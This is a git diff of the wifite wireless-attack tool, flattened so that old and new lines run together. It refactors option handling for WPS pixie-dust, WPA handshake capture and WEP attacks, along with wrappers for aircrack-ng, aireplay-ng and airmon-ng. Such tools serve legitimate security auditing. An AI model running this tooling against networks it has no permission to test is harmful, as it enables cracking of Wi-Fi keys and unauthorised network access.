if args.wpa_handshake_dir: if args.wpa_handshake_dir:
Configuration.wpa_handshake_dir = args.wpa_handshake_dir cls.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir) Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)
if args.wpa_strip_handshake: if args.wpa_strip_handshake:
Configuration.wpa_strip_handshake = True cls.wpa_strip_handshake = True
Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets") Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets")
# WPS # WPS
if args.wps_filter: if args.wps_filter:
Configuration.wps_filter = args.wps_filter cls.wps_filter = args.wps_filter
if args.wps_only: if args.wps_only:
Configuration.wps_only = True cls.wps_only = True
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
if args.no_wps: if args.no_wps:
Configuration.no_wps = args.no_wps cls.no_wps = args.no_wps
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
if args.use_bully: if args.use_bully:
Configuration.use_bully = args.use_bully cls.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
if args.wps_pixie_timeout: if args.wps_pixie_timeout:
Configuration.wps_pixie_timeout = args.wps_pixie_timeout cls.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_pixie_step_timeout:
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
if args.wps_fail_threshold: if args.wps_fail_threshold:
Configuration.wps_fail_threshold = args.wps_fail_threshold cls.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold)
if args.wps_timeout_threshold: if args.wps_timeout_threshold:
Configuration.wps_timeout_threshold = args.wps_timeout_threshold cls.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold)
if args.wps_skip_rate_limit == False:
Configuration.wps_skip_rate_limit = False
Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
# Adjust encryption filter # Adjust encryption filter
Configuration.encryption_filter = [] cls.encryption_filter = []
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP') if cls.wep_filter: cls.encryption_filter.append('WEP')
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA') if cls.wpa_filter: cls.encryption_filter.append('WPA')
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS') if cls.wps_filter: cls.encryption_filter.append('WPS')
if len(Configuration.encryption_filter) == 3: if len(cls.encryption_filter) == 3:
Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}') Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')
elif len(Configuration.encryption_filter) == 0: elif len(cls.encryption_filter) == 0:
# Default to scan all types # Default to scan all types
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] cls.encryption_filter = ['WEP', 'WPA', 'WPS']
else: else:
Color.pl('{+} {C}option:{W} ' + Color.pl('{+} {C}option:{W} ' +
'targeting {G}%s-encrypted{W} networks' 'targeting {G}%s-encrypted{W} networks'
% '/'.join(Configuration.encryption_filter)) % '/'.join(cls.encryption_filter))
# Adjust WEP attack list # Adjust WEP attack list
Configuration.wep_attacks = [] cls.wep_attacks = []
import sys import sys
seen = set() seen = set()
for arg in sys.argv: for arg in sys.argv:
if arg in seen: continue if arg in seen: continue
seen.add(arg) seen.add(arg)
if arg == '-arpreplay': Configuration.wep_attacks.append('replay') if arg == '-arpreplay': cls.wep_attacks.append('replay')
if arg == '-fragment': Configuration.wep_attacks.append('fragment') if arg == '-fragment': cls.wep_attacks.append('fragment')
if arg == '-chopchop': Configuration.wep_attacks.append('chopchop') if arg == '-chopchop': cls.wep_attacks.append('chopchop')
if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte') if arg == '-caffelatte': cls.wep_attacks.append('caffelatte')
if arg == '-p0841': Configuration.wep_attacks.append('p0841') if arg == '-p0841': cls.wep_attacks.append('p0841')
if arg == '-hirte': Configuration.wep_attacks.append('hirte') if arg == '-hirte': cls.wep_attacks.append('hirte')
if len(Configuration.wep_attacks) == 0: if len(cls.wep_attacks) == 0:
# Use all attacks # Use all attacks
Configuration.wep_attacks = ['replay', cls.wep_attacks = ['replay',
'fragment', 'fragment',
'chopchop', 'chopchop',
'caffelatte', 'caffelatte',
'p0841', 'p0841',
'hirte'] 'hirte']
elif len(Configuration.wep_attacks) > 0: elif len(cls.wep_attacks) > 0:
Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
% '{W}, {G}'.join(Configuration.wep_attacks)) % '{W}, {G}'.join(cls.wep_attacks))
# Commands # Commands
if args.cracked: Configuration.show_cracked = True if args.cracked: cls.show_cracked = True
if args.check_handshake: Configuration.check_handshake = args.check_handshake if args.check_handshake: cls.check_handshake = args.check_handshake
if args.crack_handshake: Configuration.crack_handshake = True if args.crack_handshake: cls.crack_handshake = True
@staticmethod @classmethod
def temp(subfile=''): def temp(cls, subfile=''):
''' Creates and/or returns the temporary directory ''' ''' Creates and/or returns the temporary directory '''
if Configuration.temp_dir is None: if cls.temp_dir is None:
Configuration.temp_dir = Configuration.create_temp() cls.temp_dir = cls.create_temp()
return Configuration.temp_dir + subfile return cls.temp_dir + subfile
@staticmethod @staticmethod
def create_temp(): def create_temp():
@@ -300,44 +374,50 @@ class Configuration(object):
tmp += os.sep tmp += os.sep
return tmp return tmp
@staticmethod @classmethod
def delete_temp(): def delete_temp(cls):
''' Remove temp files and folder ''' ''' Remove temp files and folder '''
if Configuration.temp_dir is None: return if cls.temp_dir is None: return
if os.path.exists(Configuration.temp_dir): if os.path.exists(cls.temp_dir):
for f in os.listdir(Configuration.temp_dir): for f in os.listdir(cls.temp_dir):
os.remove(Configuration.temp_dir + f) os.remove(cls.temp_dir + f)
os.rmdir(Configuration.temp_dir) os.rmdir(cls.temp_dir)
@staticmethod @classmethod
def exit_gracefully(code=0): def exit_gracefully(cls, code=0):
''' Deletes temp and exist with the given code ''' ''' Deletes temp and exist with the given code '''
Configuration.delete_temp() cls.delete_temp()
Macchanger.reset_if_changed() Macchanger.reset_if_changed()
from .tools.airmon import Airmon from .tools.airmon import Airmon
if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: if cls.interface is not None and Airmon.base_interface is not None:
Airmon.stop(Configuration.interface) Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface)
Airmon.put_interface_up(Airmon.base_interface) Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface)
# Stop monitor mode
#Airmon.stop(cls.interface)
# Bring original interface back up
#Airmon.put_interface_up(Airmon.base_interface)
if Airmon.killed_network_manager: if Airmon.killed_network_manager:
Airmon.start_network_manager() Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
#Airmon.start_network_manager()
exit(code) exit(code)
@staticmethod @classmethod
def dump(): def dump(cls):
''' (Colorful) string representation of the configuration ''' ''' (Colorful) string representation of the configuration '''
from .util.color import Color from .util.color import Color
max_len = 20 max_len = 20
for key in Configuration.__dict__.keys(): for key in cls.__dict__.keys():
max_len = max(max_len, len(key)) max_len = max(max_len, len(key))
result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len)) result = Color.s('{W}%s Value{W}\n' % 'cls Key'.ljust(max_len))
result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
for (key,val) in sorted(Configuration.__dict__.items()): for (key,val) in sorted(cls.__dict__.items()):
if key.startswith('__') or type(val) == staticmethod or val is None: if key.startswith('__') or type(val) == staticmethod or val is None:
continue continue
result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val)) result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))

View File

@@ -4,11 +4,9 @@
import time import time
class Attack(object): class Attack(object):
''' '''Contains functionality common to all attacks.'''
Contains functionality common to all attacks
'''
target_wait = 20 target_wait = 60
def __init__(self, target): def __init__(self, target):
self.target = target self.target = target
@@ -17,17 +15,13 @@ class Attack(object):
raise Exception("Unimplemented method: run") raise Exception("Unimplemented method: run")
def wait_for_target(self, airodump): def wait_for_target(self, airodump):
''' '''Waits for target to appear in airodump.'''
Waits for target to appear in airodump
'''
start_time = time.time() start_time = time.time()
targets = airodump.get_targets(apply_filter=False) targets = airodump.get_targets(apply_filter=False)
while len(targets) == 0: while len(targets) == 0:
# Wait for target to appear in airodump. # Wait for target to appear in airodump.
if int(time.time() - start_time) > Attack.target_wait: if int(time.time() - start_time) > Attack.target_wait:
raise Exception( raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait)
"Target did not appear after %d seconds, stopping"
% Attack.target_wait)
time.sleep(1) time.sleep(1)
targets = airodump.get_targets() targets = airodump.get_targets()
continue continue

View File

@@ -1,101 +0,0 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
import re
class Interface(object):
'''
Represents an 'interface' known by airmon-ng
'''
# Max length of fields.
# Used for printing a table of interfaces.
PHY_LEN = 6
NAME_LEN = 12
DRIVER_LEN = 20
CHIPSET_LEN = 30
def __init__(self, fields):
'''
Initializes & stores info about an interface.
Args:
Fields - list of fields
0: PHY
1: NAME
2: DRIVER
3: CHIPSET
'''
if len(fields) == 3:
phy = 'phyX'
match = re.search(' - \[(phy\d+)\]', fields[2])
if match:
phy = match.groups()[0]
fields[2] = fields[2][:fields[2].rfind(' - [')]
fields.insert(0, phy)
if len(fields) != 4:
raise Exception("Expected 4, got %d in %s" % (len(fields), fields))
self.phy = fields[0].strip()
self.name = fields[1].strip()
self.driver = fields[2].strip()
self.chipset = fields[3].strip()
def __str__(self):
''' Colored string representation of interface '''
s = Color.s("{W}%s" % self.phy)
s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0)
s += Color.s("{G}%s" % self.name)
s += ' ' * max(Interface.NAME_LEN - len(self.name), 0)
s += Color.s("{C}%s" % self.driver)
s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0)
s += Color.s("{W}%s" % self.chipset)
s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0)
return s
@staticmethod
def menu_header():
''' Colored header row for interfaces '''
s = ' '
s += 'PHY'
s += ' ' * (Interface.PHY_LEN - len("PHY"))
s += 'Interface'
s += ' ' * (Interface.NAME_LEN - len("Interface"))
s += 'Driver'
s += ' ' * (Interface.DRIVER_LEN - len("Driver"))
s += 'Chipset'
s += ' ' * (Interface.CHIPSET_LEN - len("Chipset"))
s += '\n---'
s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
return s
@staticmethod
def get_mac(iface=None):
from ..config import Configuration
from ..util.process import Process
if iface is None:
Configuration.initialize()
iface = Configuration.interface
if iface is None:
raise Exception('Interface must be defined (-i)')
output = Process(['ifconfig', iface]).stdout()
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search(' (%s)' % mac_regex, output)
if not match:
match = re.search('unspec (%s)' % mac_regex, output)
if not match:
raise Exception('Could not find the mac address for %s' % iface)
return match.groups()[0].replace('-', ':')
if __name__ == '__main__':
mac = Interface.get_mac()
print('wlan0mon mac address:', mac)

View File

@@ -52,14 +52,18 @@ class Target(object):
self.essid_known = True self.essid_known = True
self.essid_len = int(fields[12].strip()) self.essid_len = int(fields[12].strip())
self.essid = fields[13].strip() self.essid = fields[13]
if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '': if self.essid == '\\x00' * self.essid_len or \
self.essid == 'x00' * self.essid_len or \
self.essid.strip() == '':
# Don't display "\x00..." for hidden ESSIDs # Don't display "\x00..." for hidden ESSIDs
self.essid = None # '(%s)' % self.bssid self.essid = None # '(%s)' % self.bssid
self.essid_known = False self.essid_known = False
self.wps = None self.wps = None
self.decloaked = False # If ESSID was hidden but we decloaked it.
self.clients = [] self.clients = []
self.validate() self.validate()
@@ -84,7 +88,7 @@ class Target(object):
Specifically formatted for the "scanning" table view. Specifically formatted for the "scanning" table view.
''' '''
max_essid_len = 25 max_essid_len = 24
essid = self.essid if self.essid_known else "(%s)" % self.bssid essid = self.essid if self.essid_known else "(%s)" % self.bssid
# Trim ESSID (router name) if needed # Trim ESSID (router name) if needed
if len(essid) > max_essid_len: if len(essid) > max_essid_len:
@@ -99,6 +103,10 @@ class Target(object):
# Unknown ESSID # Unknown ESSID
essid = Color.s("{O}%s" % essid) essid = Color.s("{O}%s" % essid)
# Add a "*" if we decloaked the ESSID
decloaked_char = '*' if self.decloaked else ' '
essid += Color.s("{P}%s" % decloaked_char)
if show_bssid: if show_bssid:
bssid = Color.s('{O}%s ' % self.bssid) bssid = Color.s('{O}%s ' % self.bssid)
else: else:

0
wifite/tools/__init__.py Normal file → Executable file
View File

View File

@@ -1,16 +1,23 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from ..util.process import Process from ..util.process import Process
from ..util.input import xrange from ..util.input import xrange
from ..config import Configuration from ..config import Configuration
import os import os
class Aircrack(object): class Aircrack(Dependency):
dependency_required = True
dependency_name = 'aircrack-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
def __init__(self, ivs_file=None): def __init__(self, ivs_file=None):
self.cracked_file = Configuration.temp() + 'wepkey.txt' self.cracked_file = os.path.abspath(
os.path.join(
Configuration.temp(), 'wepkey.txt'))
# Delete previous cracked files # Delete previous cracked files
if os.path.exists(self.cracked_file): if os.path.exists(self.cracked_file):
@@ -20,8 +27,11 @@ class Aircrack(object):
'aircrack-ng', 'aircrack-ng',
'-a', '1', '-a', '1',
'-l', self.cracked_file, '-l', self.cracked_file,
ivs_file
] ]
if type(ivs_file) is str:
ivs_file = [ivs_file]
command.extend(ivs_file)
self.pid = Process(command, devnull=True) self.pid = Process(command, devnull=True)

View File

@@ -1,6 +1,7 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration from ..config import Configuration
from ..util.process import Process from ..util.process import Process
from ..util.timer import Timer from ..util.timer import Timer
@@ -54,7 +55,11 @@ class WEPAttackType(object):
return self.name return self.name
class Aireplay(Thread): class Aireplay(Thread, Dependency):
dependency_required = True
dependency_name = 'aireplay-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
def __init__(self, target, attack_type, client_mac=None, replay_file=None): def __init__(self, target, attack_type, client_mac=None, replay_file=None):
''' '''
Starts aireplay process. Starts aireplay process.
@@ -150,7 +155,7 @@ class Aireplay(Thread):
matches = offset_re.match(line) matches = offset_re.match(line)
if matches: if matches:
self.xor_percent = matches.group(1) self.xor_percent = matches.group(1)
self.status = "Generating .xor (%s)..." % matches.group(1) self.status = "Generating .xor (%s)..." % self.xor_percent
# (DONE) Saving keystream in replay_dec-0516-202246.xor # (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)") saving_re = re.compile(r"Saving keystream in (.*\.xor)")
@@ -207,7 +212,7 @@ class Aireplay(Thread):
saving_re = re.compile(r"Saving keystream in (.*\.xor)") saving_re = re.compile(r"Saving keystream in (.*\.xor)")
matches = saving_re.match(line) matches = saving_re.match(line)
if matches: if matches:
self.status = 'saving keystream to %s' % saving_re.group(1) self.status = 'saving keystream to %s' % matches.group(1)
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
@@ -222,7 +227,7 @@ class Aireplay(Thread):
if pps == "0": if pps == "0":
self.status = "Waiting for packet..." self.status = "Waiting for packet..."
else: else:
self.status = "Replaying packet @ %s/sec" % pps self.status = "Replaying @ %s/sec" % pps
pass pass
def __del__(self): def __del__(self):

View File

@@ -1,7 +1,9 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.interface import Interface from .dependency import Dependency
from .ifconfig import Ifconfig
from .iwconfig import Iwconfig
from ..util.process import Process from ..util.process import Process
from ..util.color import Color from ..util.color import Color
from ..util.input import raw_input from ..util.input import raw_input
@@ -11,28 +13,71 @@ import re
import os import os
import signal import signal
class Airmon(object): class AirmonIface(object):
''' Wrapper around the 'airmon-ng' program ''' def __init__(self, phy, interface, driver, chipset):
base_interface = None self.phy = phy
killed_network_manager = False self.interface = interface
self.driver = driver
self.chipset = chipset
self.mac_address = Ifconfig.get_mac(interface)
# Max length of fields. Used for printing a table of interfaces.
INTERFACE_LEN = 12
PHY_LEN = 6
DRIVER_LEN = 20
CHIPSET_LEN = 30
def __str__(self):
''' Colored string representation of interface '''
s = ''
s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN))
s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN))
s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN))
s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
return s
@staticmethod
def menu_header():
''' Colored header row for interfaces '''
s = ' ' # Space for index #
s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN)
s += 'PHY'.ljust(AirmonIface.PHY_LEN)
s += 'Driver'.ljust(AirmonIface.DRIVER_LEN)
s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN)
s += '\n'
s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3)
return s
class Airmon(Dependency):
''' Wrapper around the 'airmon-ng' program '''
dependency_required = True
dependency_name = 'airmon-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
base_interface = None # Interface *before* it was put into monitor mode.
killed_network_manager = False # If we killed network-manager
# Drivers that need to be manually put into monitor mode
BAD_DRIVERS = ['rtl8821au']
#see if_arp.h #see if_arp.h
ARPHRD_ETHER = 1 #managed ARPHRD_ETHER = 1 #managed
ARPHRD_IEEE80211_RADIOTAP = 803 #monitor ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
def __init__(self): def __init__(self):
self.refresh()
def refresh(self):
''' Get airmon-recognized interfaces '''
self.interfaces = Airmon.get_interfaces() self.interfaces = Airmon.get_interfaces()
def print_menu(self): def print_menu(self):
''' Prints menu ''' ''' Prints menu '''
print(Interface.menu_header()) print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1): for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface)) Color.pl(" {G}%d{W}. %s" % (idx, iface))
def get(self, index): def get(self, index):
''' Gets interface at index (starts at 1) ''' ''' Gets interface at index (starts at 1) '''
if type(index) is str: if type(index) is str:
@@ -42,50 +87,72 @@ class Airmon(object):
@staticmethod @staticmethod
def get_interfaces(): def get_interfaces():
''' '''Returns List of AirmonIface objects known by airmon-ng'''
Returns:
List of Interface objects known by airmon-ng
'''
interfaces = [] interfaces = []
p = Process('airmon-ng') p = Process('airmon-ng')
for line in p.stdout().split('\n'): for line in p.stdout().split('\n'):
# Ignore blank/header lines # [PHY ]IFACE DRIVER CHIPSET
if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$')
matches = airmon_re.match(line)
if not matches:
continue continue
# Strip out interface information phy, interface, driver, chipset = matches.groups()
fields = line.split("\t") if phy == 'PHY' or phy == 'Interface':
while '' in fields: continue # Header
fields.remove('')
# Add Interface object to list interfaces.append(AirmonIface(phy, interface, driver, chipset))
interfaces.append(Interface(fields))
return interfaces return interfaces
@staticmethod @staticmethod
def start_baddriver(iface): #fix for bad drivers like the rtl8812AU def start_bad_driver(iface):
os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface)) '''
with open("/sys/class/net/" + iface + "/type", "r") as f: Manually put interface into monitor mode (no airmon-ng or vif).
if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): Fix for bad drivers like the rtl8812AU.
return iface '''
Ifconfig.down(iface)
Iwconfig.mode(iface, 'monitor')
Ifconfig.up(iface)
# /sys/class/net/wlan0/type
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
if os.path.exists(iface_type_path):
with open(iface_type_path, 'r') as f:
if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP):
return iface
return None return None
@staticmethod @staticmethod
def stop_baddriver(iface): def stop_bad_driver(iface):
os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface)) '''
with open("/sys/class/net/" + iface + "/type", "r") as f: Manually put interface into managed mode (no airmon-ng or vif).
if (int(f.read()) == Airmon.ARPHRD_ETHER): Fix for bad drivers like the rtl8812AU.
return iface '''
Ifconfig.down(iface)
Iwconfig.mode(iface, 'managed')
Ifconfig.up(iface)
# /sys/class/net/wlan0/type
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
if os.path.exists(iface_type_path):
with open(iface_type_path, 'r') as f:
if (int(f.read()) == Airmon.ARPHRD_ETHER):
return iface
return None return None
@staticmethod @staticmethod
def start(iface): def start(iface):
''' '''
Starts an interface (iface) in monitor mode Starts an interface (iface) in monitor mode
Args: Args:
iface - The interface to start in monitor mode iface - The interface to start in monitor mode
Either an instance of Interface object, Either an instance of AirmonIface object,
or the name of the interface (string). or the name of the interface (string).
Returns: Returns:
Name of the interface put into monitor mode. Name of the interface put into monitor mode.
@@ -93,124 +160,142 @@ class Airmon(object):
Exception - If an interface can't be put into monitor mode Exception - If an interface can't be put into monitor mode
''' '''
# Get interface name from input # Get interface name from input
if type(iface) == Interface: if type(iface) == AirmonIface:
iface = iface.name iface_name = iface.interface
Airmon.base_interface = iface driver = iface.driver
else:
iface_name = iface
driver = None
# Call airmon-ng # Remember this as the "base" interface.
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface) Airmon.base_interface = iface_name
(out,err) = Process.call('airmon-ng start %s' % iface)
# Find the interface put into monitor mode (if any) Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name)
mon_iface = None
for line in out.split('\n'):
if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
mon_iface = line.split(' on ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
if mon_iface is None: airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()
# Airmon did not enable monitor mode on an interface
mon_iface = Airmon.start_baddriver(iface)
if mon_iface is None: enabled_iface = Airmon._parse_airmon_start(airmon_output)
if enabled_iface is None and driver in Airmon.BAD_DRIVERS:
Color.p('{O}"bad driver" detected{W} ')
enabled_iface = Airmon.start_bad_driver(iface_name)
if enabled_iface is None:
Color.pl("{R}failed{W}") Color.pl("{R}failed{W}")
mon_ifaces = Airmon.get_interfaces_in_monitor_mode() monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
# Assert that there is an interface in monitor mode # Assert that there is an interface in monitor mode
if len(mon_ifaces) == 0: if len(monitor_interfaces) == 0:
Color.pl("{R}failed{W}") Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see any interfaces in Mode:Monitor") raise Exception("Cannot find any interfaces in Mode:Monitor")
# Assert that the interface enabled by airmon-ng is in monitor mode # Assert that the interface enabled by airmon-ng is in monitor mode
if mon_iface not in mon_ifaces: if enabled_iface not in monitor_interfaces:
Color.pl("{R}failed{W}") Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface) raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface)
# No errors found; the device 'mon_iface' was put into MM. # No errors found; the device 'enabled_iface' was put into Mode:Monitor.
Color.pl("{G}enabled {C}%s{W}" % mon_iface) Color.pl("{G}enabled {C}%s{W}" % enabled_iface)
Configuration.interface = mon_iface return enabled_iface
return mon_iface
@staticmethod
def _parse_airmon_start(airmon_output):
'''Returns the interface name that was put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*')
# airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn
enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)')
for line in airmon_output.split('\n'):
matches = enabled_re.match(line)
if matches:
return matches.group(1)
matches = enabled_re2.match(line)
if matches:
return matches.group(1)
return None
@staticmethod @staticmethod
def stop(iface): def stop(iface):
Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface) Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
(out,err) = Process.call('airmon-ng stop %s' % iface)
mon_iface = None
for line in out.split('\n'):
# aircrack-ng 1.2 rc2
if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
mon_iface = line.split(' for ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
# aircrack-ng 1.2 rc1 airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
if match:
mon_iface = match.groups()[0]
break
if not mon_iface: (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output)
mon_iface = Airmon.stop_baddriver(iface)
if mon_iface: if not disabled_iface and iface in Airmon.BAD_DRIVERS:
Color.pl('{R}disabled %s{W}' % mon_iface) Color.p('{O}"bad driver" detected{W} ')
disabled_iface = Airmon.stop_bad_driver(iface)
if disabled_iface:
Color.pl('{G}disabled %s{W}' % disabled_iface)
else: else:
Color.pl('{O}could not disable on {R}%s{W}' % iface) Color.pl('{O}could not disable on {R}%s{W}' % iface)
return (disabled_iface, enabled_iface)
@staticmethod @staticmethod
def get_interfaces_in_monitor_mode(): def _parse_airmon_stop(airmon_output):
''' '''Find the interface taken out of into monitor mode (if any)'''
Uses 'iwconfig' to find all interfaces in monitor mode
Returns: # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
List of interface names that are in monitor mode disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*')
'''
interfaces = [] # airmon-ng 1.2rc1 output: wlan0mon (removed)
(out, err) = Process.call("iwconfig") removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)')
for line in out.split("\n"):
if len(line) == 0: continue # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0)
if line[0] != ' ': enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*')
iface = line.split(' ')[0]
if '\t' in iface: disabled_iface = None
iface = iface.split('\t')[0] enabled_iface = None
if 'Mode:Monitor' in line and iface not in interfaces: for line in airmon_output.split('\n'):
interfaces.append(iface) matches = disabled_re.match(line)
return interfaces if matches:
disabled_iface = matches.group(1)
matches = removed_re.match(line)
if matches:
disabled_iface = matches.group(1)
matches = enabled_re.match(line)
if matches:
enabled_iface = matches.group(1)
return (disabled_iface, enabled_iface)
@staticmethod @staticmethod
def ask(): def ask():
''' '''
Asks user to define which wireless interface to use. Asks user to define which wireless interface to use.
Does not ask if: Does not ask if:
1. There is already an interface in monitor mode, or 1. There is already an interface in monitor mode, or
2. There is only one wireles interface (automatically selected). 2. There is only one wireless interface (automatically selected).
Puts selected device into Monitor Mode. Puts selected device into Monitor Mode.
''' '''
Airmon.terminate_conflicting_processes() Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}') Color.p('\n{+} looking for {C}wireless interfaces{W}... ')
mon_ifaces = Airmon.get_interfaces_in_monitor_mode() monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
mon_count = len(mon_ifaces) if len(monitor_interfaces) == 1:
if mon_count == 1:
# Assume we're using the device already in montior mode # Assume we're using the device already in montior mode
iface = mon_ifaces[0] iface = monitor_interfaces[0]
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode' Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface);
% iface); #Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}')
Airmon.base_interface = None Airmon.base_interface = None
return iface return iface
Color.pl('')
a = Airmon() a = Airmon()
